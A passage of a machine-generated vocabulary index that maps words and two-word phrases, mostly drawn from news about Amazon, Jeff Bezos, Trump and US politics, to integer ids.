"tense exchange": 62034, "autonomous test": 62035, "eh fox": 62036, "taken seriously": 62037, "party internal": 62038, "salaries ranging": 62039, "includes 375": 62040, "unpaved": 62041, "describing poor": 62042, "necessities": 62043, "redirect": 62044, "balance sheet": 62045, "methodist": 62046, "adjusting": 62047, "trump blessing": 62048, "netflix amanda": 62049, "chinese region": 62050, "programs focused": 62051, "pivotal phase": 62052, "growing rival": 62053, "reads": 62054, "legislation": 62055, "bezos sounds": 62056, "election manipulation": 62057, "looks innocent": 62058, "focused investigation": 62059, "aswould say": 62060, "good investors": 62061, "local day": 62062, "obliged": 62063, "people blame": 62064, "grumpy": 62065, "arm press": 62066, "brave love": 62067, "father mental": 62068, "inventory levels": 62069, "presided": 62070, "smooth sailing": 62071, "today broadsheets": 62072, "thanked sanders": 62073, "zinkes stand": 62074, "bezos linked": 62075, "florida keys": 62076, "qualities": 62077, "extraordinary new": 62078, "best rap": 62079, "burden doesn": 62080, "party whips": 62081, "forbes kylie": 62082, "researcher": 62083, "sightings screening": 62084, "breakupbigtech": 62085, "donating portion": 62086, "final straw": 62087, "active customer": 62088, "1966": 62089, "rants sense": 62090, "alleges amazon": 62091, "democrats hail": 62092, "2018 contributor": 62093, "night listen": 62094, "chair fau": 62095, "aspects": 62096, "sharpton": 62097, "hapyhairstylist": 62098, "power long": 62099, "massive profits": 62100, "don help": 62101, "litigation game": 62102, "bustling port": 62103, "spy wasn": 62104, "prodigious": 62105, "bezos empire": 62106, "business perspective": 62107, "style movements": 62108, "opportunities amazon": 62109, "admitting": 62110, "full16x9": 62111, "brazil commerce": 62112, "new satellite": 62113, "boost postal": 62114, "message seeking": 62115, "mss cnn": 62116, "prosecutors granted": 62117, "activity analysts": 62118, "offering chief": 62119, "union diplomats": 62120, "tsx breakouts": 62121, "independent organic": 62122, "david goldberg": 62123, "locher megan": 62124, "families read": 62125, "stronger session": 62126, "hardly matters": 62127, "influence just": 62128, "china coffee": 62129, "blood serum": 62130, "guarantee": 62131, "instead sold": 62132, "seller secret": 62133, "guthrie hugh": 62134, "sensitive government": 62135, "trump nyt": 62136, "revenue stems": 62137, "actual body": 62138, "video analysis": 62139, "mark frost": 62140, "tidings": 62141, "doesn appear": 62142, "heavy capex": 62143, "prove costly": 62144, "392": 62145, "commerce store": 62146, "2019 eurovision": 62147, "strategist matt": 62148, "driven packages": 62149, "trump cancels": 62150, "alleged richest": 62151, "bezoses told": 62152, "refugees fleeing": 62153, "cantor edith": 62154, "actress recording": 62155, "dominic cooper": 62156, "natural disasters": 62157, "blackstones wien": 62158, "fubotv website": 62159, "inaugurated": 62160, "tim armstrong": 62161, "sign immigration": 62162, "contract suggests": 62163, "pemuda": 62164, "willget": 62165, "troll": 62166, "receive half": 62167, "average employee": 62168, "arun kumar": 62169, "denies": 62170, "initiative resulted": 62171, "conor sen": 62172, "allegations iconimageurl": 62173, "tariffs 2019": 62174, "staggering number": 62175, "transport planes": 62176, "service labor": 62177, "acceptance": 62178, "corporate culture": 62179, "maisel success": 62180, "spending priorities": 62181, "italian budget": 62182, "scared": 62183, "paul hewson": 62184, "explicit instructions": 62185, "stealing technology": 62186, "choppy political": 62187, "traces fonda": 62188, "links thrown": 62189, "briefcase duffel": 62190, "parade cr": 62191, "workers sign": 62192, "controversial ones": 62193, "questionable practices": 62194, "mcdermid": 62195, "powerful forces": 62196, "news nicole": 62197, "chatham house": 62198, "videoplayer handleadoncvpvisibilitychange": 62199, "jeffbezos power": 62200, "federal rebate": 62201, "30000 180917225659912": 62202, "marijuana seeds": 62203, "incited": 62204, "regulation asked": 62205, "new national": 62206, "217 185": 62207, "divisions rising": 62208, "presidential correspondence": 62209, "steep corrections": 62210, "does sears": 62211, "faces amazon": 62212, "ordered energy": 62213, "invictus": 62214, "cashless coming": 62215, "illiterate": 62216, "organization empowered": 62217, "tourists possibly": 62218, "directive says": 62219, "1q adj": 62220, "stonecrest": 62221, "trump spiritual": 62222, "saying ou": 62223, "trumpspeak": 62224, "included house": 62225, "dailycallernewsfoundation": 62226, "want government": 62227, "300 shares": 62228, "growing urge": 62229, "hoxie shows": 62230, "articles \u0645\u0642\u0627\u0637\u0639\u0647_\u0627\u0645\u0627\u0632\u0648\u0646": 62231, "published 100": 62232, "california gov": 62233, "1994 law": 62234, "parents listen": 62235, "inch high": 62236, "says brexit": 62237, "reworking negotiated": 62238, "000 acres": 62239, "say mislabels": 62240, "decreasing political": 62241, "enlistees": 62242, "don exactly": 62243, "department digital": 62244, "workforce thanks": 62245, "amazon concern": 62246, "penalize": 62247, "occur amazon": 62248, "street earnings": 62249, "start delivery": 62250, "plan announced": 62251, "conservative outlet": 62252, "total claims": 62253, "fathering child": 62254, "says startup": 62255, "food store": 62256, "highlighting sales": 62257, "expect recession": 62258, "bull": 62259, "ceo": 62260, "vt plans": 62261, "encourage student": 62262, "bezos sit": 62263, "sketchy claims": 62264, "reassurances president": 62265, "broad collection": 62266, "intel microsoft": 62267, "usps alleging": 62268, "routinely negotiate": 62269, "pretty insanely": 62270, "ampproject org": 62271, "blacks approval": 62272, "skipped null": 62273, "allows guilty": 62274, "cardinal george": 62275, "weibo source": 62276, "american bookseller": 62277, "kb4134660": 62278, "simple theory": 62279, "gaps": 62280, "split resulted": 62281, "jennings blames": 62282, "hotels accounting": 62283, "appreciable": 62284, "irs data": 62285, "isn retailer": 62286, "run business": 62287, "japan posted": 62288, "meeting privately": 62289, "despite lack": 62290, "walking fine": 62291, "disclosure agreement": 62292, "caption close": 62293, "overcoming": 62294, "emergency": 62295, "allies box": 62296, "indigenous land": 62297, "overall quiet": 62298, "research associate": 62299, "flynn read": 62300, "imported shoes": 62301, "video going": 62302, "journal using": 62303, "ozone layer": 62304, "told s\u00e1nchez": 62305, "gun rights": 62306, "instruments": 62307, "amazon relentless": 62308, "hours year": 62309, "say logistics": 62310, "deserves credit": 62311, "firms recognizes": 62312, "2017 mccain": 62313, "mrnashington": 62314, "hands referring": 62315, "finance ollow": 62316, "current structure": 62317, "affair john": 62318, "city citywide": 62319, "ribbing": 62320, "ally john": 62321, "describes spicer": 62322, "sheets amazon": 62323, "operated": 62324, "institutional professional": 62325, "riders realize": 62326, "favors foreign": 62327, "possible explain": 62328, "staff apple": 62329, "bananah life": 62330, "analysis firm": 62331, "breaks given": 62332, "goals seeing": 62333, "funds story": 62334, "deal new": 62335, "curb migration": 62336, "gail": 62337, "amazon fledgling": 62338, "cap cap": 62339, "giant led": 62340, "significant portion": 62341, "lanny": 62342, "pertaining": 62343, "man hispanic": 62344, "inhalants": 62345, "lurid details": 62346, "sonny gray": 62347, "cnl_calculated_color": 62348, "bias accusations": 62349, "added congresswoman": 62350, "brendan smialowski": 62351, "khashoggi criticism": 62352, "british thriller": 62353, "china continued": 62354, "company nbcuniversal": 62355, "crews repaired": 62356, "700 people": 62357, "photographer luke": 62358, "suliman detailing": 62359, "twitter posting": 62360, "reward shifted": 62361, "digital food": 62362, "previous collaborations": 62363, "product inventories": 62364, "posts included": 62365, "particular morning": 62366, "new examples": 62367, "oboist hailey": 62368, "announcement included": 62369, "giant sells": 62370, "amazon friend": 62371, "arabia trump": 62372, "hussein invasion": 62373, "published trump": 62374, "cranial": 62375, "price tests": 62376, "gives pitiful": 62377, "bezos wrote": 62378, "scorching commentary": 62379, "store vast": 62380, "beautifully footnoted": 62381, "ross know": 62382, "fund shows": 62383, "british media": 62384, "largest price": 62385, "tax laws": 62386, "liars leakers": 62387, "102 click": 62388, "eyeshadow": 62389, "brings record": 62390, "facebook david": 62391, "plants panelists": 62392, "2018 turning": 62393, "chilled": 62394, "landing girlfriend": 62395, "biogen": 62396, "hugh amazon": 62397, "heights representatives": 62398, "fiction fakenews": 62399, "typical political": 62400, "jennifer aniston": 62401, "lowest wage": 62402, "advocates fear": 62403, "culture twitter": 62404, "trump received": 62405, "dems question": 62406, "ignore short": 62407, "brew including": 62408, "drama depicted": 62409, "private messaging": 62410, "seattle shame": 62411, "tool free": 62412, "eff": 62413, "reverend billy": 62414, "growth working": 62415, "publix announces": 62416, "order forcing": 62417, "issue statement": 62418, "commercial entities": 62419, "shipping practices": 62420, "fees": 62421, "daniel zhang": 62422, "reuters estimates": 62423, "humane surreal": 62424, "office expansion": 62425, "entry alright": 62426, "business technology": 62427, "exercised bad": 62428, "society different": 62429, "record profits": 62430, "life miller": 62431, "home schooling": 62432, "couple having": 62433, "represents growing": 62434, "surveyed say": 62435, "t9x q0": 62436, "studio happy": 62437, "affection": 62438, "governments increasingly": 62439, "facebook republicans": 62440, "briefed trump": 62441, "boston steven": 62442, "officer excoriated": 62443, "media dangerous": 62444, "deport immigrants": 62445, "collusion text": 62446, "dsw sent": 62447, "interactive app": 62448, "finances trump": 62449, "study": 62450, "watch fox": 62451, "regain voting": 62452, "built better": 62453, "officers teachers": 62454, "making incendiary": 62455, "concern": 62456, "updates provide": 62457, "o4e readystate": 62458, "enforcement elicited": 62459, "concrete effect": 62460, "president hotstar": 62461, "solely ship": 62462, "rekognition amazon": 62463, "current diverse": 62464, "gulf state": 62465, "eu borders": 62466, "duckduckgo": 62467, "celsius gradations": 62468, "embarrassment congress": 62469, "c0 wa": 62470, "steadily climbed": 62471, "recurring": 62472, "surveyed walmart": 62473, "nightcrawler": 62474, "mehic": 62475, "employees dollar": 62476, "sponsors": 62477, "voice activation": 62478, "china concludes": 62479, "gay wedding": 62480, "real details": 62481, "piers floating": 62482, "carafano": 62483, "decline according": 62484, "office expense": 62485, "years romanian": 62486, "premiums month": 62487, "cnbc amazon": 62488, "tweets cost": 62489, "everybody days": 62490, "potential 98point6": 62491, "different pre": 62492, "clouding": 62493, "democratic legislature": 62494, "wouldn seek": 62495, "lost combined": 62496, "office leaving": 62497, "divorce amazon": 62498, "city development": 62499, "report julia": 62500, "harris started": 62501, "leroy documents": 62502, "hardware dedicated": 62503, "unrestricted access": 62504, "charitable foundation": 62505, "613 300": 62506, "force double": 62507, "mirror seattle": 62508, "korede": 62509, "vainly trying": 62510, "refundable portion": 62511, "include recommendation": 62512, "opening arguments": 62513, "building sites": 62514, "restraining": 62515, "labor organization": 62516, "mark bittman": 62517, "results worry": 62518, "order stated": 62519, "biggest hold": 62520, "divorce 136": 62521, "squire": 62522, "direction promises": 62523, "resorts": 62524, "apple pay": 62525, "pat garofalo": 62526, "elvis": 62527, "imagine": 62528, "dual sourced": 62529, "branded airplanes": 62530, "developers need": 62531, "certain segment": 62532, "jabs accusing": 62533, "initial deal": 62534, "resume high": 62535, "black progressives": 62536, "trumps press": 62537, "bipartisan issue": 62538, "edges marshalls": 62539, "traveling violations": 62540, "firsts emerge": 62541, "eric amazon": 62542, "pictures sent": 62543, "deal amazon": 62544, "know market": 62545, "rise amazon": 62546, "sweeping legislation": 62547, "single thing": 62548, "marius josipovi\u0107": 62549, "faulty": 62550, "investigation mcconnell": 62551, "brains chicago": 62552, "important struggle": 62553, "sobriquet": 62554, "ghana 1st": 62555, "tone": 62556, "achingly slow": 62557, "rally mother": 62558, "brothers": 62559, "doing variety": 62560, "interview classmate": 62561, "analysis 2018": 62562, "constituencies": 62563, "precarious situation": 62564, "toilets money": 62565, "bermuda": 62566, "sanders frames": 62567, "senate delegation": 62568, "saari": 62569, "granted anonymity": 62570, "guides": 62571, "dog donald": 62572, "west chief": 62573, "extremely stylish": 62574, "told political": 62575, "story high": 62576, "043 new": 62577, "did echo": 62578, "income operating": 62579, "landlord died": 62580, "payments totaling": 62581, "parties": 62582, "wants crew": 62583, "clinton nomination": 62584, "stephen ju": 62585, "taken advantage": 62586, "bull gap": 62587, "inspiring story": 62588, "mcrae": 62589, "floridaflu": 62590, "training brochure": 62591, "enormously powerful": 62592, "chart labor": 62593, "matt cardy": 62594, "tk": 62595, "tightfistedness": 62596, "sonyliv having": 62597, "chubby man": 62598, "pay just": 62599, "spell trouble": 62600, "gold yanny": 62601, "mandated deadline": 62602, "line disputes": 62603, "ira loss": 62604, "building second": 62605, "million fine": 62606, "arranged earlier": 62607, "rules change": 62608, "0sxtpiypxh": 62609, "spearheading": 62610, "america complaint": 62611, "oregon washington": 62612, "week revealed": 62613, "market phil": 62614, "called alt": 62615, "forests implies": 62616, "woolfolk": 62617, "himjoin": 62618, "video upcoming": 62619, "items contain": 62620, "msnbc": 62621, "complaint says": 62622, "fleeing": 62623, "breakingviews president": 62624, "correspondent moynihan": 62625, "kentucky armored": 62626, "ozimek doubted": 62627, "analogy books": 62628, "price comparison": 62629, "termination": 62630, "130 000": 62631, "counterfeiting infringes": 62632, "rags": 62633, "understand lot": 62634, "clicking clean": 62635, "devon franklin": 62636, "impact skyrocketing": 62637, "dam collapse": 62638, "owner josh": 62639, "office granted": 62640, "investigator hired": 62641, "baccardex": 62642, "amazon ramps": 62643, "sell risks": 62644, "media hanson": 62645, "sleaze factory": 62646, "propaganda": 62647, "partisan think": 62648, "legal representation": 62649, "sounding jovial": 62650, "tabloid trying": 62651, "opposite antitrust": 62652, "index additional": 62653, "darrell issa": 62654, "onlineshopping horrible": 62655, "wall cbp": 62656, "bigots rotting": 62657, "loves best": 62658, "economic policy": 62659, "anti tobacco": 62660, "tandem": 62661, "pressure medication": 62662, "pass 1500": 62663, "entrance": 62664, "little dip": 62665, "fields used": 62666, "georgia midterms": 62667, "kauffman": 62668, "logging rainforests": 62669, "sanders plays": 62670, "paid price": 62671, "senate deferred": 62672, "hughes ge": 62673, "c1": 62674, "makes difference": 62675, "subsidizing big": 62676, "bezos claim": 62677, "waged": 62678, "prices making": 62679, "microbrewery": 62680, "protection somebody": 62681, "alertme": 62682, "best carrier": 62683, "general": 62684, "assembly laughs": 62685, "spiked stories": 62686, "relatively low": 62687, "tower doorman": 62688, "free detained": 62689, "carter page": 62690, "court reversed": 62691, "companyprofile": 62692, "new offices": 62693, "forming": 62694, "late night": 62695, "major parts": 62696, "congress needed": 62697, "department chief": 62698, "questions comments": 62699, "tackles big": 62700, "aws offering": 62701, "hoarding cash": 62702, "business generally": 62703, "amazon proprietor": 62704, "chain 2019": 62705, "countless family": 62706, "rivals complain": 62707, "temper": 62708, "nations biggest": 62709, "covering breaking": 62710, "cdc afm": 62711, "old hollywood": 62712, "prompting google": 62713, "clip larry": 62714, "yang veteran": 62715, "sears growth": 62716, "assemblywoman simotas": 62717, "hwasong": 62718, "repeatedly directed": 62719, "nascent labor": 62720, "carrier east": 62721, "posting jobs": 62722, "zink": 62723, "aggressive policy": 62724, "easier ordering": 62725, "process payment": 62726, "worth jumping": 62727, "story reed": 62728, "niemuth": 62729, "chaplinesque empathy": 62730, "total media": 62731, "tomatoes shane": 62732, "emery used": 62733, "presidencies": 62734, "burien ages": 62735, "pond": 62736, "weekend trump": 62737, "party goods": 62738, "biggest annual": 62739, "advocates looking": 62740, "broadsides": 62741, "amazon reduced": 62742, "introversion": 62743, "micromanage business": 62744, "mccain suggested": 62745, "buying ___": 62746, "doesn toll": 62747, "cable clearly": 62748, "hurts retailers": 62749, "started representing": 62750, "3pm eastern": 62751, "year growth": 62752, "mamrie": 62753, "democrats blasted": 62754, "accounts posting": 62755, "buy mvmt": 62756, "year plan": 62757, "segal gene": 62758, "menswear": 62759, "quarter amazon": 62760, "don poke": 62761, "kobeissi letter": 62762, "busy schedules": 62763, "president create": 62764, "list confusing": 62765, "final city": 62766, "gubernatorial": 62767, "analyst discovers": 62768, "veterans native": 62769, "infowars": 62770, "reaching deal": 62771, "government new": 62772, "story contains": 62773, "trinidad artisan": 62774, "apple\u00e2": 62775, "legal amazonia": 62776, "opinions program": 62777, "686 shares": 62778, "finalists second": 62779, "biblical passages": 62780, "buffetts amazon": 62781, "ericengleman": 62782, "creatures amazon": 62783, "larger context": 62784, "ongoing projects": 62785, "target firm": 62786, "truth campaign": 62787, "clawback": 62788, "employees inadequate": 62789, "president open": 62790, "strip clubs": 62791, "recent defeat": 62792, "months pitching": 62793, "suffering": 62794, "costs mean": 62795, "superior sound": 62796, "laissez faire": 62797, "saying afterthought": 62798, "read oil": 62799, "delayed impact": 62800, "reforming healthcare": 62801, "arrested 000": 62802, "cards spokesperson": 62803, "beijing doesn": 62804, "cbs photographer": 62805, "issue says": 62806, "worst nuts": 62807, "cleared": 62808, "education forum": 62809, "women veronika": 62810, "district election": 62811, "notarization": 62812, "clients carried": 62813, "853": 62814, "man shot": 62815, "world exclusive": 62816, "stabilize": 62817, "fourth session": 62818, "risk potentially": 62819, "blue hip": 62820, "2001 attacks": 62821, "hardly barron": 62822, "maria think": 62823, "score president": 62824, "finished goods": 62825, "heartland guest": 62826, "pecker ami": 62827, "spouses unless": 62828, "incremental development": 62829, "overtake": 62830, "indie books": 62831, "nerita": 62832, "price trading": 62833, "b6 preventdefault": 62834, "disclosure report": 62835, "company requests": 62836, "fulton market": 62837, "sonin": 62838, "loyalty club": 62839, "itunes spotify": 62840, "recent phenomenon": 62841, "mark weinberger": 62842, "favorite jokes": 62843, "amzn earned": 62844, "manipulated source": 62845, "prices offered": 62846, "unduly": 62847, "stopped selling": 62848, "list price": 62849, "recognises": 62850, "commodity futures": 62851, "primary field": 62852, "sanders doesn": 62853, "learned mark": 62854, "business days": 62855, "right specifically": 62856, "db2": 62857, "amazing watch": 62858, "battle ncaa": 62859, "thing trump": 62860, "story boeing": 62861, "right upstairs": 62862, "campaign finances": 62863, "finance stocks": 62864, "governments including": 62865, "beneficiary": 62866, "stz": 62867, "amazon insatiable": 62868, "perv les": 62869, "obama college": 62870, "ones forcing": 62871, "\u0645\u0642\u0627\u0637\u0639\u0647_\u0627\u0645\u0627\u0632\u0648\u0646": 62872, "night drama": 62873, "meant jpmorgan": 62874, "media imageurl": 62875, "worth quarter": 62876, "massive quake": 62877, "ethnically": 62878, "campaign pro": 62879, "healthcare service": 62880, "users 100m": 62881, "mechanisms": 62882, "hasten": 62883, "story spans": 62884, "wore gray": 62885, "commented publicly": 62886, "stops dialogue": 62887, "sheryl gay": 62888, "opportunities bartiromo": 62889, "freshwater cleveland": 62890, "climate future": 62891, "black bolt": 62892, "horrible ideas": 62893, "dietitian": 62894, "losers 1410535536": 62895, "faith source": 62896, "poison squared": 62897, "fake hamburger": 62898, "dwindle craft": 62899, "politically amazon": 62900, "slowest": 62901, "1994 young": 62902, "titular mystery": 62903, "slas hugh": 62904, "organization plans": 62905, "lobbying according": 62906, "climb 2018": 62907, "sultan": 62908, "notes management": 62909, "wide memo": 62910, "media believes": 62911, "cdc_36162c8634251ee9931a470a_embed html": 62912, "pearl jam": 62913, "deedee cheater": 62914, "security concerns": 62915, "history reveling": 62916, "based military": 62917, "boldest": 62918, "orman": 62919, "real shot": 62920, "y8": 62921, "trump hardline": 62922, "say uniformly": 62923, "cowen ramsay": 62924, "science spending": 62925, "stage geekwire": 62926, "repatriate cash": 62927, "called blackmail": 62928, "conventional buy": 62929, "leisure occasions": 62930, "pentagon doubles": 62931, "program amazon": 62932, "edged past": 62933, "including food": 62934, "zones initiative": 62935, "cap refugees": 62936, "pictures sneak": 62937, "inordinate delays": 62938, "sears shld": 62939, "downtown genius": 62940, "allegedly depict": 62941, "chile paraguay": 62942, "unhinged claim": 62943, "steerable": 62944, "itwas": 62945, "yearlong public": 62946, "fiscal impact": 62947, "network called": 62948, "significant internal": 62949, "organize": 62950, "members noted": 62951, "moto": 62952, "deforestation rhett": 62953, "programs absent": 62954, "progressive following": 62955, "detain deport": 62956, "definitely hinders": 62957, "potentially recruiting": 62958, "sleep improvement": 62959, "fineout": 62960, "spending million": 62961, "organizations billed": 62962, "online talk": 62963, "auction block": 62964, "wild wild": 62965, "usual bureaucratic": 62966, "helpless": 62967, "gdp report": 62968, "3p seller": 62969, "trump knowledge": 62970, "golden globe": 62971, "store union": 62972, "bureaus starting": 62973, "newt brought": 62974, "benefit program": 62975, "500 rose": 62976, "200 salespeople": 62977, "deliver payloads": 62978, "mobile deployments": 62979, "counterfeits frauds": 62980, "i9 v9": 62981, "stoicism": 62982, "featuring colin": 62983, "did exactly": 62984, "deltatakingaction": 62985, "targeted individual": 62986, "sizable role": 62987, "economy paulo": 62988, "politics melania": 62989, "did china": 62990, "hightower": 62991, "expanding recreational": 62992, "malinowski thank": 62993, "inaudible applications": 62994, "social goals": 62995, "cra federal": 62996, "journalism sexual": 62997, "materials cnn": 62998, "dreamliner": 62999, "energy manufacturing": 63000, "dsaster relief": 63001, "announced just": 63002, "attorney office": 63003, "threatened number": 63004, "jogger": 63005, "tohold": 63006, "weekend story": 63007, "postnuptial agreement": 63008, "told superior": 63009, "act broke": 63010, "finances produced": 63011, "president barack": 63012, "sevice": 63013, "repeatedly referred": 63014, "amazon accounted": 63015, "cartoon mocking": 63016, "mortgage industry": 63017, "dive reports": 63018, "valley famed": 63019, "farther": 63020, "overpowering": 63021, "laura cornell": 63022, "improper": 63023, "high reached": 63024, "unchallenged leader": 63025, "idealistic notions": 63026, "google offered": 63027, "650 month": 63028, "revenue components": 63029, "terrible employer": 63030, "tools leaving": 63031, "painkiller": 63032, "reports industries": 63033, "hen restaurant": 63034, "51m": 63035, "generation architecture": 63036, "office usps": 63037, "family private": 63038, "reputational threats": 63039, "montana visit": 63040, "grow anadolu": 63041, "obama called": 63042, "duked": 63043, "dearly love": 63044, "funds gulftimes": 63045, "products eu": 63046, "barr andrew": 63047, "wire artificial": 63048, "area dominated": 63049, "changing earth": 63050, "feel safer": 63051, "jost says": 63052, "graham writing": 63053, "representatives": 63054, "feel unsettled": 63055, "2017 movie": 63056, "previously estimated": 63057, "gadgets pending": 63058, "employ tens": 63059, "feud": 63060, "trump ambassador": 63061, "sanders looked": 63062, "allowed unlimited": 63063, "palantir software": 63064, "challenge results": 63065, "policy seeks": 63066, "brewer": 63067, "choice followed": 63068, "carnivalcruise usa": 63069, "changes overnight": 63070, "apparently enraged": 63071, "twitter bots": 63072, "fresh fears": 63073, "flying devices": 63074, "investigationbecause": 63075, "money really": 63076, "dc democratic": 63077, "snow near": 63078, "zone sling": 63079, "money brennan": 63080, "90s gretchen": 63081, "upgrade": 63082, "piper chapman": 63083, "amazon situation": 63084, "meeting earlier": 63085, "qanon qdrops": 63086, "republican": 63087, "exporters": 63088, "manafort jury": 63089, "gushed": 63090, "penalties": 63091, "fucker": 63092, "city passed": 63093, "ux design": 63094, "human longevity": 63095, "underhanded long": 63096, "series till": 63097, "jack welch": 63098, "modest sell": 63099, "trumpers right": 63100, "restrict abortion": 63101, "center poll": 63102, "activist variety": 63103, "nyse twtr": 63104, "customers wal": 63105, "homelessness hud": 63106, "help address": 63107, "antitrust activity": 63108, "colors sell": 63109, "believe raising": 63110, "faculty cars": 63111, "advantage warren": 63112, "depicts dystopian": 63113, "great pride": 63114, "recode": 63115, "xl": 63116, "sex crimes": 63117, "york wouldgenerate": 63118, "street strategists": 63119, "hours night": 63120, "central promise": 63121, "smiths": 63122, "nation causing": 63123, "nazis doug": 63124, "166 billion": 63125, "officials story": 63126, "forecasts sales": 63127, "london registered": 63128, "nice person": 63129, "authors server719402": 63130, "makeshift desk": 63131, "case jeff": 63132, "briefings": 63133, "splitting amazon": 63134, "couldn reliably": 63135, "carriers include": 63136, "amazon capital": 63137, "destruction boomer1": 63138, "virgin islands": 63139, "signficant": 63140, "peers amazon": 63141, "overwhelmingly positive": 63142, "lookback": 63143, "violations continue": 63144, "registered lobbyist": 63145, "trump suggestion": 63146, "solemn pledge": 63147, "needed renovations": 63148, "knowingly doesn": 63149, "border areas": 63150, "future profits": 63151, "development strategy": 63152, "shoot": 63153, "boyfriend": 63154, "publishing guidelines": 63155, "investigation": 63156, "company profits": 63157, "parcels deals": 63158, "sector amid": 63159, "nasdaq bidu": 63160, "shopping habits": 63161, "accelerate appreciably": 63162, "google contending": 63163, "leprechaun mad": 63164, "officials attempting": 63165, "week entering": 63166, "bezos spokesman": 63167, "powered image": 63168, "healthcare industry": 63169, "center far": 63170, "snopes": 63171, "taxpayers workers": 63172, "counterfeits removed": 63173, "equit dxj": 63174, "receive antiviral": 63175, "latest talks": 63176, "wouldn say": 63177, "kyle great": 63178, "children apply": 63179, "benefits continue": 63180, "family taking": 63181, "feffer": 63182, "considering opening": 63183, "mercury news": 63184, "jaffray explores": 63185, "recording joining": 63186, "anticipate making": 63187, "stupid jokes": 63188, "advanced degree": 63189, "arming": 63190, "just facebook": 63191, "nefarious actions": 63192, "cut iranian": 63193, "different angles": 63194, "soaked crowd": 63195, "somodevilla crystal": 63196, "apple told": 63197, "facilitating gang": 63198, "brought mayor": 63199, "annual burning": 63200, "ball deepest": 63201, "usmca passage": 63202, "contradictory": 63203, "endorse bipartisan": 63204, "bought pillpack": 63205, "hard way": 63206, "earnings shortfall": 63207, "commerce goods": 63208, "eventually expand": 63209, "hands bezos": 63210, "company appeared": 63211, "nuclear powers": 63212, "country minister": 63213, "university postings": 63214, "trump antitrust": 63215, "president duterte": 63216, "active contracts": 63217, "2020 rnc": 63218, "dealbreaker": 63219, "riyadh pointing": 63220, "reed national": 63221, "means lots": 63222, "site seeking": 63223, "sides": 63224, "materials nasdaq": 63225, "president enjoyed": 63226, "woman dances": 63227, "inquisitr report": 63228, "4194": 63229, "bezos post": 63230, "taxi limousine": 63231, "bkm": 63232, "magnolia": 63233, "chess club": 63234, "added international": 63235, "st louis": 63236, "choose new": 63237, "bullish signal": 63238, "scouts killed": 63239, "amenities": 63240, "ire bezos": 63241, "showing signs": 63242, "hates washington": 63243, "current antitrust": 63244, "add billion": 63245, "lobbying arm": 63246, "worked according": 63247, "maryanne": 63248, "keywords": 63249, "imports reuters": 63250, "shares high": 63251, "amazon lion": 63252, "private entity": 63253, "limited reported": 63254, "service improvements": 63255, "honduran man": 63256, "results expose": 63257, "correspondent": 63258, "report maintain": 63259, "rising technique": 63260, "barnes reported": 63261, "growing rapidly": 63262, "reunification": 63263, "2018 levels": 63264, "gail honeyman": 63265, "unidentified suspects": 63266, "inherited amazon": 63267, "twiddles": 63268, "eliminated refunds": 63269, "says house": 63270, "traveljoin": 63271, "really buy": 63272, "prominent tabloid": 63273, "opposition residents": 63274, "investigating bezos": 63275, "altered carbon": 63276, "platform consumers": 63277, "superficial appearance": 63278, "support trump": 63279, "uncle sam": 63280, "mquznfbced andrew": 63281, "hillel italie": 63282, "friends trying": 63283, "patted": 63284, "services netflix": 63285, "law anqi": 63286, "construction including": 63287, "resurface taobao": 63288, "acosta violates": 63289, "236 193": 63290, "bankrolling": 63291, "15661": 63292, "did wilson": 63293, "morgan emerging": 63294, "broader standpoint": 63295, "internal job": 63296, "oilprice": 63297, "donnell": 63298, "home care": 63299, "boeing delta": 63300, "pr experts": 63301, "plaintiff complaint": 63302, "gold says": 63303, "ovens schwan": 63304, "independently": 63305, "politics women": 63306, "capped": 63307, "google needs": 63308, "owns 400": 63309, "spicer book": 63310, "targets amazon": 63311, "2018 nbc": 63312, "daniels midland": 63313, "steadily fallen": 63314, "undervalued think": 63315, "africa sweden": 63316, "website total": 63317, "started running": 63318, "players aliexpress": 63319, "bram janssen": 63320, "charges trump": 63321, "classified documents": 63322, "equity company": 63323, "paying subscribers": 63324, "profound civil": 63325, "history cronyism": 63326, "day troubles": 63327, "recovery ends": 63328, "knockdown drag": 63329, "aaron grunwald": 63330, "eye frequently": 63331, "000 unique": 63332, "approval took": 63333, "signed contracts": 63334, "standard": 63335, "critical review": 63336, "bender senior": 63337, "new equipment": 63338, "create products": 63339, "dodge": 63340, "3196": 63341, "lobbying tool": 63342, "happy new": 63343, "meltdowns": 63344, "prenuptial": 63345, "net valuations": 63346, "reportedly make": 63347, "abound panelists": 63348, "worth 165": 63349, "board according": 63350, "buying moving": 63351, "million hectares": 63352, "thirds vote": 63353, "amid severe": 63354, "steve herman": 63355, "breakeven": 63356, "erase transgenders": 63357, "kick": 63358, "hunt investigation": 63359, "breinigsville pennsylvania": 63360, "neorealism": 63361, "nosrat salt": 63362, "granted clemency": 63363, "yousuck2020 status": 63364, "open existing": 63365, "cuellar": 63366, "liberator code": 63367, "cramer believes": 63368, "vast retail": 63369, "russia sought": 63370, "perimeter": 63371, "manager started": 63372, "consumers continued": 63373, "includes companies": 63374, "mccain speaking": 63375, "destroyer warning": 63376, "did promote": 63377, "hire hell": 63378, "postal package": 63379, "usual amazon": 63380, "basing": 63381, "free membership": 63382, "million employees": 63383, "outline alleged": 63384, "episode demonstrates": 63385, "turbulent markets": 63386, "awaited remake": 63387, "derangeddonald": 63388, "favor white": 63389, "florence death": 63390, "advertising titled": 63391, "block hate": 63392, "panglossian projections": 63393, "starboard seeks": 63394, "customers data": 63395, "privacy data": 63396, "brant": 63397, "delivery intelligence": 63398, "codified principles": 63399, "flint lead": 63400, "underlying growth": 63401, "iot industrial": 63402, "le guin": 63403, "screwed": 63404, "personally liable": 63405, "amazon outside": 63406, "revenue helps": 63407, "oracle workday": 63408, "beijing says": 63409, "imports amazon": 63410, "live alums": 63411, "embarrassment writing": 63412, "bid amazon": 63413, "day meeting": 63414, "charter planes": 63415, "standing exclusive": 63416, "wedding vacations": 63417, "initially ignored": 63418, "watch cbs": 63419, "policies lobbied": 63420, "man recorded": 63421, "walkout": 63422, "bezos penis": 63423, "shares hsbc": 63424, "ex hillary": 63425, "scream maher": 63426, "suspect": 63427, "ago pfizer": 63428, "closing price": 63429, "attended united": 63430, "day ms": 63431, "build safer": 63432, "daily beast": 63433, "pass federal": 63434, "wheels intended": 63435, "statement contained": 63436, "sensanders": 63437, "headache": 63438, "profile dinner": 63439, "joined republican": 63440, "going head": 63441, "unsuccessful visit": 63442, "khashoggi son": 63443, "family doctors": 63444, "grammer": 63445, "legitimacy integrity": 63446, "portion 700": 63447, "bankruptcy protection": 63448, "cells": 63449, "chewing": 63450, "stoppropagation": 63451, "paul mccartney": 63452, "causing agita": 63453, "outside company": 63454, "tullier": 63455, "hell bent": 63456, "ryan 